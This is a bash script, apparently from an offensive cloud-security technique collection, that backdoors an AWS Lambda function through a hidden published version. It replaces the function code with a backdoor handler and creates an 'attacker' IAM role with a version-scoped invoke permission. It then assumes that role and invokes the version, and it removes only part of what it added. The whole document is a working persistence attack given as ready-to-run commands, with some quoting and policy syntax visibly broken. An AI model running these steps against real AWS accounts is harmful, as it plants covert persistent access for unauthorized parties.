# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>

# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"

# 1) Build a small backdoor handler and publish as a new version
cat > bdoor.py <<PY
import json, os, boto3

def lambda_handler(e, c):
ident = boto3.client(sts).get_caller_identity()
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
PY
zip bdoor.zip bdoor.py
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
echo "Published version: $VER ($VER_ARN)"

# 2) Create an attacker principal and allow only version invocation (same-account simulation)
ATTACK_ROLE_NAME=ht-version-invoker
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
cat > /tmp/invoke-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": ["$VER_ARN"]
}]
}
POL
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json

# Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission \
--function-name "$TARGET_FN" \
--qualifier "$VER" \
--statement-id ht-version-backdoor \
--action lambda:InvokeFunction \
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
--region $REGION

# 3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
cat /tmp/ver-out.json

# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true